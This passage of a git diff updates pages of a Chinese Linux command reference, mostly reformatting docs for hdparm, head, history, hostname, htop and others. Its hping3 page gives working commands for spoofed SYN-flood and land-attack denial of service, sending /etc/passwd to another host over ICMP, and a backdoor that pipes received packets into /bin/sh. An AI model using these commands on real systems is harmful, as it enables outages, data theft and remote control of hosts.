-A<0或1>:启动或关闭读取文件时的快取功能;
-c:设定IDE32位I/O模式;
-C:检测IDE硬盘的电源管理模式;
-d<0或1>:设定磁盘的DMA模式;
--f:将内存缓冲区的数据写入硬盘,并清楚缓冲区;
+-f:将内存缓冲区的数据写入硬盘,并清除缓冲区;
-g:显示硬盘的磁轨,磁头,磁区等参数;
-h:显示帮助;
-i:显示硬盘的硬件规格信息,这些信息是在开机时由硬盘本身所提供;
@@ -46,15 +46,15 @@ hdparm(选项)(参数)
-Z:关闭某些Seagate硬盘的自动省电功能。
```
-### 参数
+### 参数
设备文件:指定id驱动对应的设备文件名。
-### 实例
+### 实例
显示硬盘的相关设置:
-```
+```shell
hdparm /dev/sda
/dev/sda:
IO_support = 0 (default 16-bit)
@@ -62,11 +62,11 @@ readonly = 0 (off)
readahead = 256 (on)
geometry = 19457[柱面数]/255[磁头数]/63[扇区数], sectors = 312581808[总扇区数], start = 0[起始扇区数]
-```
+```shell
显示硬盘的柱面、磁头、扇区数:
-```
+```shell
hdparm -g /dev/sda
/dev/sda:
geometry = 19457[柱面数]/255[磁头数]/63[扇区数], sectors = 312581808[总扇区数], start = 0[起始扇区数]
@@ -74,7 +74,7 @@ geometry = 19457[柱面数]/255[磁头数]/63[扇区数], sectors =
测试硬盘的读取速度:
-```
+```shell
hdparm -T /dev/sda
/dev/sda:
Timing cached reads: 4684 MB in 2.00 seconds = 2342.92 MB/sec
@@ -82,16 +82,15 @@ hdparm -T /dev/sda
测试硬盘缓存的读取速度:
-```
+```shell
hdparm -T /dev/xvda
/dev/xvda:
Timing cached reads: 11154 MB in 1.98 seconds = 5633.44 MB/sec
-
```
检测硬盘的电源管理模式:
-```
+```shell
hdparm -C /dev/sda
/dev/sda:
drive state is: standby [省电模式]
@@ -99,18 +98,17 @@ drive state is: standby [省电模式]
查询并设置硬盘多重扇区存取的扇区数,以增进硬盘的存取效率:
-```
+```shell
hdparm -m /dev/sda
hdparm -m #参数值为整数值如8 /dev/sda
```
**附:硬盘坏道修复方法**
-```
+```shell
检查:smartctl -l selftest /dev/sda
卸载:umount /dev/sda*
修复:badblocks /dev/sda
```
-
\ No newline at end of file
diff --git a/command/head.md b/command/head.md
index 053a4214a97..f643353e2b1 100644
--- a/command/head.md
+++ b/command/head.md
@@ -1,30 +1,99 @@
head
===
-
-在屏幕上显示指定文件的开头若干行
-## 补充说明
+显示文件的开头部分。
-**head命令** 用于显示文件的开头的内容。在默认情况下,head命令显示文件的头10行内容。
-
-### 语法
+## 概要
+```shell
+head [OPTION]... [FILE]...
```
-head(选项)(参数)
+
+## 主要用途
+
+- 在未指定行数时默认显示前10行。
+- 处理多个文件时会在各个文件之前附加含有文件名的行。
+- 当没有文件或文件为`-`时,读取标准输入。
+
+## 选项
+
+```shell
+-c, --bytes=[-]NUM 显示前NUM字节;如果NUM前有"-",那么会打印除了文件末尾的NUM字节以外的其他内容。
+-n, --lines=[-]NUM 显示前NUM行而不是默认的10行;如果NUM前有"-",那么会打印除了文件末尾的NUM行以外的其他行。
+-q, --quiet, --silent 不打印文件名行。
+-v, --verbose 总是打印文件名行。
+-z, --zero-terminated 行终止符为NUL而不是换行符。
+--help 显示帮助信息并退出。
+--version 显示版本信息并退出。
+
+NUM可以有一个乘数后缀:
+b 512
+kB 1000
+k 1024
+MB 1000*1000
+M 1024*1024
+GB 1000*1000*1000
+G 1024*1024*1024
+T、P、E、Z、Y等以此类推。
+
+也可以使用二进制前缀:
+KiB=K
+MiB=M
+以此类推。
```
-### 选项
+## 参数
+
+FILE(可选):要处理的文件,可以为一或多个。
+
+## 返回值
+返回0表示成功,返回非0值表示失败。
+
+## 例子
+
+```shell
+# 查看历史文件的前6行:
+[user2@pc ~]$ head -n 6 ~/.bash_history
+#1575425555
+cd ~
+#1575425558
+ls -lh
+#1575425562
+vi ~/Desktop/ZhuangZhu-74.txt
```
--n<数字>:指定显示头部内容的行数;
--c<字符数>:指定显示头部内容的字符数;
--v:总是显示文件名的头信息;
--q:不显示文件名的头信息。
+
+```shell
+# 查看多个文件:
+[user2@pc ~]$ head -n ~/.bash_history ~/.bashrc
+==> /allhome/user2/.bash_history <==
+#1575425555
+cd ~
+#1575425558
+ls -lh
+#1575425562
+vi ~/Desktop/ZhuangZhu-74.txt
+#1575425566
+uptime
+#1575425570
+find ~/ -maxdepth 3 -name 'test.sh' -exec lh {} \;
+
+==> /allhome/user2/.bashrc <==
+# .bashrc
+
+# forbid use Ctrl+D to exit shell.
+set -o ignoreeof
+
+# Source global definitions.
+if [ -f /etc/bashrc ]; then
+ . /etc/bashrc
+fi
+
```
-### 参数
-文件列表:指定显示头部内容的文件列表。
+### 注意
+
+1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 head`,`info coreutils 'head invocation'`。
-
\ No newline at end of file
diff --git a/command/help.md b/command/help.md
index 89b1bdad626..5cf580220b3 100644
--- a/command/help.md
+++ b/command/help.md
@@ -1,33 +1,59 @@
help
===
-
-显示帮助信息
+
+该命令是bash内建命令,用于显示bash内建命令的帮助信息。
## 补充说明
-**help命令** 用于显示shell内部命令的帮助信息。help命令只能显示shell内部的命令帮助信息。而对于外部命令的帮助信息只能使用man或者info命令查看。
+**help命令** help命令只能显示bash内建命令的帮助信息,而对于外部命令的帮助信息只能使用man或者info命令查看。
-### 语法
+### 语法
-```
+```shell
help(选项)(参数)
```
-### 选项
+### 选项
+```shell
+-d:显示内建命令的简要描述。
+-m:按照man手册的格式输出内建命令的帮助信息。
+-s:仅输出内建命令的命令格式。
+不指定选项时:输出的帮助信息类似于-m选项,但是缺少段落名称和'SEE ALSO','IMPLEMENTATION'部分。
```
--s:输出短格式的帮助信息。仅包括命令格式。
-```
-### 参数
+### 参数
+
+bash内建命令(可以为多个,请用空格分隔开)。
+
+### 常见问题
+
+Q:有哪些命令是bash内建命令?我如何判断一个命令是否为bash内建命令?
+
+A:您可以在终端使用 'man builtin' 或 'man builtins' 来获取;您可以查看bash内建命令 'type' 的帮助信息。
+
+Q:那么help命令本身的帮助信息如何获取?
+
+A:把help作为参数传给help命令;)
-内部命令:指定需要显示帮助信息的shell内部命令。
+Q:为什么echo也可以用 'man echo' 来查看帮助信息?
-### 实例
+A:因为除了bash内建的echo,GNU/linux的coreutils包里也有该命令;在echo的man手册中,DESCRIPTION段落的 'NOTE' 也提示了和同名内建的不同。
+
+PS:当你在shell脚本里定义了一个叫 'echo' 的函数,那么调用的时候优先级会如何呢?
+
+请参考 'builtin' 命令
+
+Q:我需要获得更多的bash的相关帮助信息
+
+A:限于篇幅和主题,您可以在终端执行 'man bash' , 'info bash' ,[访问bash官方网站](http://www.gnu.org/software/bash/),以及搜索引擎等。
+
+
+### 实例
使用help命令显示shell内部shopt命令的帮助信息,输入如下命令:
-```
+```shell
help shopt #获取shopt命令的帮助信息
shopt: shopt [-pqsu] [-o long-option] optname [optname...]
Toggle the values of variables controlling optional behavior.
@@ -41,4 +67,4 @@ shopt: shopt [-pqsu] [-o long-option] optname [optname...]
```
-
\ No newline at end of file
+
diff --git a/command/hexdump.md b/command/hexdump.md
index 86e1a0a6983..76bef5305b0 100644
--- a/command/hexdump.md
+++ b/command/hexdump.md
@@ -1,21 +1,21 @@
hexdump
===
-
+
显示文件十六进制格式
## 补充说明
**hexdump命令** 一般用来查看“二进制”文件的十六进制编码,但实际上它能查看任何文件,而不只限于二进制文件。
-### 语法
+### 语法
-```
+```shell
hexdump [选项] [文件]...
```
-### 选项
+### 选项
-```
+```shell
-n length 只格式化输入文件的前length个字节。
-C 输出规范的十六进制和ASCII码。
-b 单字节八进制显示。
@@ -29,7 +29,7 @@ hexdump [选项] [文件]...
每个格式字符串由三部分组成,每个由空格分隔,第一个形如a/b,b表示对每b个输入字节应用format1格式,a表示对每a个输入字节应用format2格式,一般a>b,且b只能为1,2,4,另外a可以省略,省略则a=1。format1和format2中可以使用类似printf的格式字符串,如:
-```
+```shell
%02d:两位十进制
%03x:三位十六进制
%02o:两位八进制
@@ -38,7 +38,7 @@ hexdump [选项] [文件]...
还有一些特殊的用法:
-```
+```shell
%_ad:标记下一个输出字节的序号,用十进制表示。
%_ax:标记下一个输出字节的序号,用十六进制表示。
%_ao:标记下一个输出字节的序号,用八进制表示。
@@ -47,9 +47,9 @@ hexdump [选项] [文件]...
同一行如果要显示多个格式字符串,则可以跟多个`-e`选项。
-### 实例
+### 实例
-```
+```shell
hexdump -e '16/1 "%02X " " | "' -e '16/1 "%_p" "\n"' test
00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F | ................
10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F | ................
@@ -57,4 +57,3 @@ hexdump -e '16/1 "%02X " " | "' -e '16/1 "%_p" "\n"' test
```
-
\ No newline at end of file
diff --git a/command/history.md b/command/history.md
index 8b9653779a5..2a38ab9c255 100644
--- a/command/history.md
+++ b/command/history.md
@@ -1,46 +1,51 @@
history
===
-用于显示历史命令
+显示或操作历史列表。
-## 补充说明
+## 概要
-**history命令** 用于显示指定数目的指令命令,读取历史命令文件中的目录到历史命令缓冲区和将历史命令缓冲区中的目录写入命令文件。
+```shell
+history [-c] [-d offset] [n]
+history -anrw [filename]
+history -ps arg [arg...]
+```
-该命令单独使用时,仅显示历史命令,在命令行中,可以使用符号`!`执行指定序号的历史命令。例如,要执行第2个历史命令,则输入`!2`。
+## 主要用途
-历史命令是被保存在内存中的,当退出或者登录shell时,会自动保存或读取。在内存中,历史命令仅能够存储1000条历史命令,该数量是由环境变量`HISTSIZE`进行控制。
+- 显示历史列表。
-### 语法
+- 操作历史列表。
-```
-history(选项)(参数)
+## 选项
+
+```shell
+-c 清空历史列表。
+-d offset 根据offset删除记录。如果是正数则表示offset位置的记录,如果为负数则表示从结尾向前offset位置的记录。
+-a 将当前终端的历史记录行添加到历史记录文件。
+-n 将尚未从历史文件中读取的历史行追加到当前历史列表中。
+-r 读取历史文件,并将其内容附加到历史列表中。
+-w 将当前历史记录列表附加到历史记录文件中并且附加它们到历史列表中。
+-p 在每个arg上执行历史记录扩展并在标准输出上显示结果,而不将结果存储在历史记录列表中。
+-s 将每个arg作为单个条目附加到历史记录列表。
```
-### 选项
+## 参数
-```
--c:清空当前历史命令;
--a:将历史命令缓冲区中命令写入历史命令文件中;
--r:将历史命令文件中的命令读入当前历史命令缓冲区;
--w:将当前历史命令缓冲区命令写入历史命令文件中。
-```
+n:可选,只列出最近的n条记录。
-### 参数
+filename:可选,表示历史文件;默认调用顺序为`filename`、环境变量`HISTFILE`、`~/.bash_history`。
-n:打印最近的n条历史命令。
+## 返回值
-### 实例
+返回成功,除非提供了非法选项或出现了错误。
-使用history命令显示最近使用的10条历史命令,输入如下命令:
+## 例子
-```
-[root@localhost ~]# history 10
- 92 ls
- 93 cd ..
- 94 ls
- 95 exit
- 96 ls -a
+使用history命令显示最近使用的 5 条历史命令
+
+```shell
+[root@localhost ~]# history 5
97 cd .ssh/
98 ls
99 cat known_hosts
@@ -48,30 +53,37 @@ n:打印最近的n条历史命令。
101 history 10
```
-列出最近3条记录
-
-```
-[root@localhost ~]# history 3
- 15 2017-08-26 11:44:35 root history 3
- 16 2017-08-26 11:44:37 root history n
- 17 2017-08-26 11:44:40 root history 3
-```
-
清空历史记录
-```
+```shell
[root@localhost ~]# history -c
```
-更多实例:
+删除制定的行
+```shell
+[root@localhost ~]# history -d <指定行号>
+[root@localhost ~]# history -d 2243
```
-history -cw
-`~/.bash_history`: 保存历史命令
-`/etc/profile` -> HISSIZE: 历史命令保存数量
-推荐添加 h -> history, hsi -> history|grep 别名
-`!n`: 执行第 n 条历史命令
-`!xxx`: 执行最后一条 xxx 开头的命令
+
+快捷执行一条历史命令
+
+```shell
+# 执行第 n 条历史命令
+[root@localhost ~]# !n
+
+# 执行最后一条 xxx 开头的命令
+[root@localhost ~]# !xxx
```
-
+
+### 注意
+
+1. 在命令行中,可以使用符号`!`执行指定序号的历史命令。例如,要执行第2个历史命令,则输入`!2`。
+2. 关闭终端后,历史列表将被写入历史文件`~/.bash_history`。
+3. 环境变量`HISTSIZE`决定了历史文件中命令的存储数量,默认存储1000条。
+4. 环境变量`HISTTIMEFORMAT`如果是非空值,则使用其值作为`strftime(3)`打印相关时间戳的格式字符串添加在每个显示的历史记录之前;否则不会打印时间戳。
+5. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
+
+
+
diff --git a/command/host.md b/command/host.md
index bdc879992b5..7685b10a9b8 100644
--- a/command/host.md
+++ b/command/host.md
@@ -1,21 +1,21 @@
host
===
-
+
常用的分析域名查询工具
## 补充说明
**host命令** 是常用的分析域名查询工具,可以用来测试域名系统工作是否正常。
-### 语法
+### 语法
-```
+```shell
host(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-a:显示详细的DNS信息;
-c<类型>:指定查询类型,默认值为“IN“;
-C:查询指定主机的完整的SOA记录;
@@ -28,13 +28,13 @@ host(选项)(参数)
-6:使用IPv6.
```
-### 参数
+### 参数
主机:指定要查询信息的主机信息。
-### 实例
+### 实例
-```
+```shell
[root@localhost ~]# host www.jsdig.com
www.jsdig.com is an alias for host.1.jsdig.com.
host.1.jsdig.com has address 100.42.212.8
@@ -54,4 +54,3 @@ Received 54 bytes from 202.96.104.15#53 in 0 ms
```
-
\ No newline at end of file
diff --git a/command/hostid.md b/command/hostid.md
index d407f219bd0..2f4bf567709 100644
--- a/command/hostid.md
+++ b/command/hostid.md
@@ -1,31 +1,36 @@
hostid
===
-
-用来打印当前主机的数字化标识
-## 补充说明
+显示当前主机的十六进制数字标识。
-**hostid命令** 用于打印当前主机的十六进制数字标识。是主机的唯一标识,是被用来限时软件的使用权限,不可改变。
+## 概要
-### 语法
-
-```
-hostid
+```shell
+hostid [OPTION]...
```
-### 选项
+## 主要用途
-```
---help:显示帮助信息;
---version:显示版本信息。
-```
+- 显示当前主机的十六进制标识符。
+- 用来限制软件的使用权限,不可改变。
-### 实例
+## 选项
+```shell
+--help 显示帮助信息并退出。
+--version 显示版本信息并退出。
```
+
+## 例子
+
+```shell
[root@localhost ~]# hostid
007f0100
```
+### 注意
+
+1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 hostid`,`info coreutils 'hostid invocation'`。
+
+
-
\ No newline at end of file
diff --git a/command/hostname.md b/command/hostname.md
index 92b0b676eb7..f0f9c05bd52 100644
--- a/command/hostname.md
+++ b/command/hostname.md
@@ -5,41 +5,59 @@ hostname
## 补充说明
-**hostname命令** 用于显示和设置系统的主机名称。环境变量HOSTNAME也保存了当前的主机名。在使用hostname命令设置主机名后,系统并不会永久保存新的主机名,重新启动机器之后还是原来的主机名。如果需要永久修改主机名,需要同时修改`/etc/hosts`和`/etc/sysconfig/network`的相关内容。
+**hostname命令**
+用于显示和设置系统的主机名称。
+
+- 环境变量 `HOSTNAME` 也保存了当前的主机名。
+- 在使用 `hostname` 命令设置主机名后,系统并不会永久保存新的主机名,重启之后还是原来的主机名。如果需要永久修改主机名,需要修改 `/etc/hosts` 和 `/etc/sysconfig/network` 的相关内容并进行重启;也可以使用 `hostnamectl` 命令进行永久修改。
### 语法
-```
-hostname(选项)(参数)
-```
+```shell
+hostname [-b] {hostname|-F file} 设置主机名称(或从文件获取)
+hostname [-a|-A|-d|-f|-i|-I|-s|-y] 显示格式化的名称
+hostname 显示主机名称
-### 选项
+{yp,nis,}domainname {nisdomain|-F file} 设置 NIS 主机名称(或从文件获取)
+{yp,nis,}domainname 显示 NIS 主机名称
-```
--v:详细信息模式;
--a:显示主机别名;
--d:显示DNS域名;
--f:显示FQDN名称;
--i:显示主机的ip地址;
--s:显示短主机名称,在第一个点处截断;
--y:显示NIS域名。
+dnsdomainname 显示 DNS 主机名称
+
+hostname -V|--version|-h|--help 打印信息并退出
```
-### 参数
+### 选项
-主机名:指定要设置的主机名。
+```shell
+-a, --alias 显示主机别名
+-A, --all-fqdns 显示所有FQDN名称
+-b, --boot 如果没有可用的主机名,则设置默认主机名
+-d, --domain 显示DNS域名
+-f, --fqdn, --long 显示FQDN名称
+-F, --file 从给定文件中读取主机名或NIS域名
+-i, --ip-address 显示主机的ip地址
+-I, --all-ip-addresses 显示主机所有的ip地址
+-s, --short 显示短主机名称,在第一个点处截断
+-y, --yp, --nis 显示NIS域名
+```
### 实例
-```
+显示主机名
+```shell
[root@AY1307311912260196fcZ ~]# hostname
AY1307311912260196fcZ
+```
+
+临时改变主机名
+```shell
+[root@AY1307311912260196fcZ ~]# hostname newname
+```
-# change hostname
-hostname newname # for now
-vi /etc/hosts # forever
-reboot
+显示主机的所有IP地址
+```shell
+[root@AY1307311912260196fcZ ~]# hostname -I
+10.17.0.1 10.18.0.10 172.17.0.1
```
-
\ No newline at end of file
diff --git a/command/hostnamectl.md b/command/hostnamectl.md
new file mode 100644
index 00000000000..37dec2c8e0f
--- /dev/null
+++ b/command/hostnamectl.md
@@ -0,0 +1,52 @@
+hostnamectl
+===
+
+查询或更改系统主机名
+
+## 补充说明
+
+hostnamectl可用于查询和更改系统主机名和相关设置。
+
+### 语法
+
+```bash
+hostnamectl [选项...] 指令 ...
+```
+### 指令
+
+```bash
+status 显示当前主机名设置
+set-hostname NAME 设置系统主机名
+set-icon-name NAME 设置主机的图标名称
+set-chassis NAME 设置主机的机箱类型
+set-deployment NAME 设置主机的部署环境
+set-location NAME 设置主机位置
+```
+
+### 选项
+
+```bash
+-h --help 显示此帮助
+ --version 显示包的版本
+ --no-ask-password 不提示输入密码
+-H --host=[USER@]HOST 在远程主机上操作
+-M --machine=CONTAINER 在本地容器上执行操作。指定要连接到的容器名称。
+--transient, --static, --pretty
+ 如果调用了status(或者没有给出显式命令)并且指定了其中一个开关,hostnamectl将只打印出这个选定的主机名。
+```
+
+### 实例
+
+显示主机名设置
+
+```bash
+$ hostnamectl status
+```
+
+
+改变主机名(永久修改,不用重启哦~)
+
+```bash
+$ sudo hostnamectl set-hostname newname
+```
+
diff --git a/command/hping3.md b/command/hping3.md
index 69883b9bffd..cc839cbb140 100644
--- a/command/hping3.md
+++ b/command/hping3.md
@@ -1,15 +1,15 @@
hping3
===
-
+
测试网络及主机的安全
## 补充说明
**hping** 是用于生成和解析TCPIP协议数据包的开源工具。创作者是Salvatore Sanfilippo。目前最新版是hping3,支持使用tcl脚本自动化地调用其API。hping是安全审计、防火墙测试等工作的标配工具。hping优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致地探测。
-### 安装
+### 安装
-```
+```shell
yum install libpcap-devel tc-devel
ln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.h
wget http://www.hping.org/hping3-20051105.tar.gz
@@ -20,9 +20,9 @@ make
make install
```
-### 选项
+### 选项
-```
+```shell
-H --help 显示帮助。
-v -VERSION 版本信息。
-c --count count 发送数据包的次数 关于countreached_timeout 可以在hping2.h里编辑。
@@ -69,25 +69,25 @@ make install
-Q --seqnum 搜集序列号的,这对于你分析TCP序列号有很大作用。
```
-### Hping3功能
+### Hping3功能
Hping3主要有以下典型功能应用:
-#### 防火墙测试
+### # 防火墙测试
使用Hping3指定各种数据包字段,依次对防火墙进行详细测试。请参考:http://0daysecurity.com/articles/hping3_examples.html
测试防火墙对ICMP包的反应、是否支持traceroute、是否开放某个端口、对防火墙进行拒绝服务攻击(DoS attack)。例如,以LandAttack方式测试目标防火墙(Land Attack是将发送源地址设置为与目标地址相同,诱使目标机与自己不停地建立连接)。
-```
+```shell
hping3 -S -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10
```
-#### 端口扫描
+### # 端口扫描
Hping3也可以对目标端口进行扫描。Hping3支持指定TCP各个标志位、长度等信息。以下示例可用于探测目标机的80端口是否开放:
-```
+```shell
hping3 -I eth0 -S 192.168.10.1 -p 80
```
@@ -95,27 +95,27 @@ hping3 -I eth0 -S 192.168.10.1 -p 80
hping3支持非常丰富的端口探测方式,nmap拥有的扫描方式hping3几乎都支持(除开connect方式,因为Hping3仅发送与接收包,不会维护连接,所以不支持connect方式探测)。而且Hping3能够对发送的探测进行更加精细的控制,方便用户微调探测结果。当然,Hping3的端口扫描性能及综合处理能力,无法与Nmap相比。一般使用它仅对少量主机的少量端口进行扫描。
-#### Idle扫描
+### # Idle扫描
Idle扫描(Idle Scanning)是一种匿名扫描远程主机的方式,该方式也是有Hping3的作者Salvatore Sanfilippo发明的,目前Idle扫描在Nmap中也有实现。
该扫描原理是:寻找一台idle主机(该主机没有任何的网络流量,并且IPID是逐个增长的),攻击端主机先向idle主机发送探测包,从回复包中获取其IPID。冒充idle主机的IP地址向远程主机的端口发送SYN包(此处假设为SYN包),此时如果远程主机的目的端口开放,那么会回复SYN/ACK,此时idle主机收到SYN/ACK后回复RST包。然后攻击端主机再向idle主机发送探测包,获取其IPID。那么对比两次的IPID值,我们就可以判断远程主机是否回复了数据包,从而间接地推测其端口状态。
-#### 拒绝服务攻击
+### # 拒绝服务攻击
使用Hping3可以很方便构建拒绝服务攻击。比如对目标机发起大量SYN连接,伪造源地址为192.168.10.99,并使用1000微秒的间隔发送各个SYN包。
-```
+```shell
hping3 -I eth0 -a192.168.10.99 -S 192.168.10.33 -p 80 -i u1000
```
其他攻击如smurf、teardrop、land attack等也很容易构建出来。
-#### 文件传输
+### # 文件传输
Hping3支持通过TCP/UDP/ICMP等包来进行文件传输。相当于借助TCP/UDP/ICMP包建立隐秘隧道通讯。实现方式是开启监听端口,对检测到的签名(签名为用户指定的字符串)的内容进行相应的解析。在接收端开启服务:
-```
+```shell
hping3 192.168.1.159--listen signature --safe --icmp
```
@@ -123,13 +123,13 @@ hping3 192.168.1.159--listen signature --safe --icmp
在发送端使用签名打包的ICMP包发送文件:
-```
+```shell
hping3 192.168.1.108--icmp ?d 100 --sign signature --file /etc/passwd
```
将`/etc/passwd`密码文件通过ICMP包传给192.168.10.44主机。发送包大小为100字节(-d 100),发送签名为signature(-sign signature)。
-#### 木马功能
+### # 木马功能
如果Hping3能够在远程主机上启动,那么可以作为木马程序启动监听端口,并在建立连接后打开shell通信。与netcat的后门功能类似。
@@ -137,13 +137,13 @@ hping3 192.168.1.108--icmp ?d 100 --sign signature --file /etc/passwd
在木马启动端:
-```
+```shell
hping3 192.168.10.66--listen signature --safe --udp -p 53 | /bin/sh
```
在远程控制端:
-```
+```shell
echo ls >test.cmd
hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd
```
@@ -153,4 +153,3 @@ hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd
当然这里只是简单的演示程序,真实的场景,控制端可以利益shell执行很多的高级复杂的操作。
-
\ No newline at end of file
diff --git a/command/htdigest.md b/command/htdigest.md
index bfaea993639..0d8f0b10398 100644
--- a/command/htdigest.md
+++ b/command/htdigest.md
@@ -1,29 +1,28 @@
htdigest
===
-
+
Apache服务器内置工具
## 补充说明
**htdigest命令** 是Apache的Web服务器内置工具,用于创建和更新储存用户名、域和用于摘要认证的密码文件。
-### 语法
+### 语法
-```
+```shell
htdigest(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-c:创建密码文件。
```
-### 参数
+### 参数
* 密码文件:指定要创建或更新的密码文件;
* 域:指定用户名所属的域;
* 用户名:要创建或者更新的用户名。
-
\ No newline at end of file
diff --git a/command/htop.md b/command/htop.md
index f8013201099..9a0c886834b 100644
--- a/command/htop.md
+++ b/command/htop.md
@@ -1,7 +1,7 @@
htop
===
-[非内部命令]一个互动的进程查看器,可以动态观察系统进程状况。
+[非内部命令]一个互动的进程查看器,可以动态观察系统进程状况
## 补充说明
@@ -24,15 +24,63 @@ top缺点:
htop 官网:http://htop.sourceforge.net/
-### 语法
+### htop 安装
+在大多数的 Linux 发行版中你不会找到预安装的 `htop`,但作为最流行的实用程序之一,你会在几乎每个 Linux 发行版的默认存储库中找到 `htop`。
+
+因此,如果你的机器是基于 Debian/Ubuntu 驱动的,则以下命令应该可以完成你的工作:
+
+```shell
+sudo apt install htop
+```
+
+类似的,如果你使用的是 Fedora,则可以使用以下的命令:
+
+```shell
+sudo dnf install htop
+```
+
+如果你使用的是 CentOS 或 RedHat 则可以使用以下的命令:
+
+```shell
+sudo yum install htop
```
+如果你想避免从源代码构建包,还有一个 Snap 包可用:
+
+```shell
+sudo snap install htop
+```
+
+如果你使用的是其它的发行版或者想从源代码构建,你可以使用 `wget` 下载并安装:
+这需要你下载并安装 `wget` `cmake`
+
+```shell
+wget https://link.zhihu.com/?target=https%3A//hisham.hm/htop/releases/2.2.0/htop-2.2.0.tar.gz
+
+tar -zxvf htop-2.2.0.tar.gz
+
+cd htop-2.2.0/
+
+./configure
+
+make
+
+make install
+```
+
+当然你也可以随时参考你可以随时参考 [htop 的 GitHub](https://link.zhihu.com/?target=https%3A//github.com/htop-dev/htop) 页面以获得详细说明。
+
+**说明**:htop源码安装方式默认安装到 `/usr/local` 目录下,如果想安装到其它路径,在执行 configure 时通过 `—prefix` 指定,格式为:`./configure --prefix=/some/path`
+
+### 语法
+
+```shell
htop
```
### 参数
-```
+```shell
-C --no-color 使用单色配色方案
-d --delay=DELAY 设置更新之间的延迟,在十秒
-s --sort-key=COLUMN 纵列排序(try --sort-key=help for a list)
@@ -42,9 +90,19 @@ htop
-v --version 打印版本信息
```
-### 选项
+#### 参数示例
-```
+- -C 选项:设置界面为无颜色。
+
+- -d 选项 : 设置刷新时间,单位为秒。如,htop -d 10命令会每10秒刷新一次。
+
+- -s 选项 : 按指定的列排序。如,htop -s PID命令会按PID 列的大小排序来显示。
+
+- -u 选项 : 显示指定的用户的进程信息。如,htop -u test命令会只显示出用户名为test的相关进程。
+
+### 选项
+
+```shell
h,? F1:查看htop使用说明
S F2:设置
/ F3:搜索进程
@@ -126,4 +184,3 @@ F7表示减小nice值(增大优先级),F8增大nice值(减小优先级),选
**F10:退出htop**
-
\ No newline at end of file
diff --git a/command/htpasswd.md b/command/htpasswd.md
index 6f6057606a5..cdf96677bb8 100644
--- a/command/htpasswd.md
+++ b/command/htpasswd.md
@@ -1,19 +1,19 @@
htpasswd
===
-
+
apache服务器创建密码认证文件
## 补充说明
**htpasswd命令** 是Apache的Web服务器内置工具,用于创建和更新储存用户名、域和用户基本认证的密码文件。
-### 语法
+### 语法
-### htpasswd(选项)(参数)
+### htpasswd(选项)(参数)
-### 选项
+### 选项
-```
+```shell
-c:创建一个加密文件;
-n:不更新加密文件,只将加密后的用户名密码显示在屏幕上;
-m:默认采用MD5算法对密码进行加密;
@@ -24,16 +24,16 @@ apache服务器创建密码认证文件
-D:删除指定的用户。
```
-### 参数
+### 参数
* 用户:要创建或者更新密码的用户名;
* 密码:用户的新密码。
-### 实例
+### 实例
**利用htpasswd命令添加用户**
-```
+```shell
htpasswd -bc .passwd www.jsdig.com php
```
@@ -41,7 +41,7 @@ htpasswd -bc .passwd www.jsdig.com php
**在原有密码文件中增加下一个用户**
-```
+```shell
htpasswd -b .passwd Jack 123456
```
@@ -49,7 +49,7 @@ htpasswd -b .passwd Jack 123456
**不更新密码文件,只显示加密后的用户名和密码**
-```
+```shell
htpasswd -nb Jack 123456
```
@@ -57,13 +57,13 @@ htpasswd -nb Jack 123456
**利用htpasswd命令删除用户名和密码**
-```
+```shell
htpasswd -D .passwd Jack
```
**利用htpasswd命令修改密码**
-```
+```shell
htpasswd -D .passwd Jack
htpasswd -b .passwd Jack 123456
```
@@ -71,4 +71,3 @@ htpasswd -b .passwd Jack 123456
即先使用htpasswd删除命令删除指定用户,再利用htpasswd添加用户命令创建用户即可实现修改密码的功能。
-
\ No newline at end of file
diff --git a/command/hwclock.md b/command/hwclock.md
index ac01e00aa65..8644035b643 100644
--- a/command/hwclock.md
+++ b/command/hwclock.md
@@ -1,6 +1,6 @@
hwclock
===
-
+
显示与设定硬件时钟
## 补充说明
@@ -9,15 +9,15 @@ hwclock
在Linux中有硬件时钟与系统时钟等两种时钟。硬件时钟是指主机板上的时钟设备,也就是通常可在BIOS画面设定的时钟。系统时钟则是指kernel中的时钟。当Linux启动时,系统时钟会去读取硬件时钟的设定,之后系统时钟即独立运作。所有Linux相关指令与函数都是读取系统时钟的设定。
-### 语法
+### 语法
-```
+```shell
hwclock(选项)
```
-### 选项
+### 选项
-```
+```shell
--adjust:hwclock每次更改硬件时钟时,都会记录在/etc/adjtime文件中。使用--adjust参数,可使hwclock根据先前的记录来估算硬件时钟的偏差,并用来校正目前的硬件时钟;
--debug:显示hwclock执行时详细的信息;
--directisa:hwclock预设从/dev/rtc设备来存取硬件时钟。若无法存取时,可用此参数直接以I/O指令来存取硬件时钟;
@@ -30,31 +30,31 @@ hwclock(选项)
--version:显示版本信息。
```
-### 实例
+### 实例
设置硬件时间要依赖于操作系统时间,具体方法如下:
-```
+```shell
hwclock –systohc
hwclock --systohc –-utc
```
不加任何参数使用hwclock,可以查看当前的硬件日期和时间。
-```
+```shell
hwclock
```
查看clock文件,确认是否设置了UTC:
-```
+```shell
cat /etc/default/rcS
UTC=yes
```
在其他一些版本的Linux(如RebHat)中可以这样查看:
-```
+```shell
cat /etc/sysconfig/clock
ZONE="America/Los_Angeles"
UTC=false
@@ -62,4 +62,3 @@ ARC=false
```
-
\ No newline at end of file
diff --git a/command/iconv.md b/command/iconv.md
index 0eeea7afefd..658e7938417 100644
--- a/command/iconv.md
+++ b/command/iconv.md
@@ -1,21 +1,21 @@
iconv
===
-
+
转换文件的编码方式
## 补充说明
**iconv命令** 是用来转换文件的编码方式的,比如它可以将UTF8编码的转换成GB18030的编码,反过来也行。JDK中也提供了类似的工具native2ascii。Linux下的iconv开发库包括iconv_open,iconv_close,iconv等C函数,可以用来在C/C++程序中很方便的转换字符编码,这在抓取网页的程序中很有用处,而iconv命令在调试此类程序时用得着。
-### 语法
+### 语法
-```
+```shell
